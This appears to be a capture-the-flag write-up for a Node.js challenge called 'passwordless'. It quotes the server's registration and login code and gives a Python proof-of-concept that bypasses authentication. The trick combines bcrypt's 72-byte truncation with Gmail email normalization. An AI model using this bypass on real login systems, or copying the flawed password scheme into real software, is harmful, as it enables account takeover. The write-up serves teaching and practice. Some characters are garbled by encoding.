πŸ“¦ Challenge source

πŸ“– Introduction

passwordless is a classic case of bcrypt 72-byte password truncation abused in combination with email normalization. During registration, the server hashes a “temporary password” built from the raw email plus random bytes. Because bcrypt only uses the first 72 bytes, an attacker can craft a raw email whose first 72 bytes are attacker-controlled, while the stored account email is the normalized form (e.g., a+...@gmail.com β†’ a@gmail.com). At login, the attacker submits the normalized email and the first 72 bytes as the password, and gets in.

Context Explanation

  • Stack: Node.js (Express), EJS views, in-memory SQLite DB, bcrypt for hashing, normalize-email for email canonicalization, simple rate limiter.

  • Registration stores:

    • email = normalizeEmail(req.body.email)
    • password = bcrypt.hash(rawEmail + randomHex)
  • Login verifies:

    • Uses the normalized email for lookup and bcrypt.compare with the supplied password.

Directive

  1. Register an account with a long raw local part (β‰₯72 bytes before @) that normalizes to a short canonical target (e.g., a Gmail address like a+...@gmail.com β†’ a@gmail.com).
  2. Compute the first 72 bytes of the raw email; that is the effective password due to bcrypt truncation.
  3. Login with the normalized email and the 72-byte prefix to access /dashboard (flag printed server-side).

πŸ› οΈ Solution

1) Key server behaviors (from index.js)

Registration path: note normalization for the stored email, and the initial password built from raw email + random bytes (which bcrypt will truncate to 72 bytes).

// index.js (excerpts)
const bcrypt = require('bcrypt');
const sqlite3 = require('sqlite3').verbose()
const db = new sqlite3.Database(':memory:')
const normalizeEmail = require('normalize-email')
const crypto = require('crypto')

// ...

// Registration
app.post('/user', limiter, (req, res, next) => {
    if (!req.body) return res.redirect('/login')

    const nEmail = normalizeEmail(req.body.email)

    if (nEmail.length > 64) {
        req.session.error = 'Your email address is too long'
        return res.redirect('/login')
    }

    // IMPORTANT: initialPassword uses RAW req.body.email
    const initialPassword = req.body.email + crypto.randomBytes(16).toString('hex')

    bcrypt.hash(initialPassword, 10, function (err, hash) {
        if (err) return next(err)

        const query = "INSERT INTO users VALUES (?, ?)"
        db.run(query, [nEmail, hash], (err) => {
            if (err) {
                if (err.code === 'SQLITE_CONSTRAINT') {
                    req.session.error = 'This email address is already registered'
                    return res.redirect('/login')
                }
                return next(err)
            }

            // TODO: Send email with initial password (not implemented)
            req.session.message = 'An email has been sent with a temporary password for you to log in'
            res.redirect('/login')
        })
    })
})

Login path: email is normalized, password is taken as-is, and compared with bcrypt.compare.

// index.js (excerpts)

// Query + compare
function authenticate(email, password, fn) {
    db.get(`SELECT * FROM users WHERE email = ?`, [email], (err, user) => {
        if (err) return fn(err, null)
        if (user && bcrypt.compareSync(password, user.password)) {
            return fn(null, user)
        } else {
            return fn(null, null)
        }
    });
}

app.post('/session', limiter, (req, res, next) => {
    if (!req.body) return res.redirect('/login')

    const email = normalizeEmail(req.body.email)
    const password = req.body.password

    authenticate(email, password, (err, user) => {
        if (err) return next(err)
        if (user) {
            req.session.regenerate(() => {
                req.session.user = user;
                res.redirect('/dashboard');
            });
        } else {
            req.session.error = 'Failed to log in'
            res.redirect('/login');
        }
    })
})

Flag rendering (on the authenticated dashboard):

<!-- src/views/dashboard.ejs -->
<span id="flag"><%- process.env.FLAG %></span>

2) The cryptographic lever: bcrypt 72-byte truncation

  • bcrypt ignores any bytes after the 72nd byte of the password.
  • Registration hashes: initialPassword = rawEmail + randomHex
  • If rawEmail is β‰₯ 72 bytes, then initialPassword[:72] == rawEmail[:72], and the random suffix is completely ignored by bcrypt.

3) The identity lever: email normalization

  • The stored account email is normalized via normalizeEmail.
  • Example (Gmail): a+XXXXX...@gmail.com normalizes to a@gmail.com.
  • This allows us to register with a very long raw local part but later log in using the short normalized address (i.e., the same DB key).

4) End-to-end PoC

The provided PoC (Python requests) demonstrates the attack sequence:

# poc/passwordless.py
import requests

BASE = "http://passwordless.chal.imaginaryctf.org"

# 1) Build a very long raw email BEFORE '@', which normalizes to a@gmail.com
local_raw = "a+" + ("X" * 200)
raw_email = f"{local_raw}@gmail.com"
normalized_email = "a@gmail.com"  # post-normalization target

# 2) Effective password is the FIRST 72 bytes of the RAW email
password_72 = raw_email[:72]

with requests.Session() as s:
    s.get(f"{BASE}/login", timeout=10)  # init cookies (optional)

    # 3) Register using the RAW email (server stores normalizedEmail + bcrypt(rawEmail||random))
    s.post(f"{BASE}/user", data={"email": raw_email}, timeout=10)

    # 4) Login using the NORMALIZED email + 72-byte prefix
    s.post(f"{BASE}/session", data={"email": normalized_email, "password": password_72}, timeout=10)

    # 5) Grab the flag
    r = s.get(f"{BASE}/dashboard", timeout=10)
    print("[*] Flag:", r.text.split('id="flag">')[1].split("</span>")[0])

Flag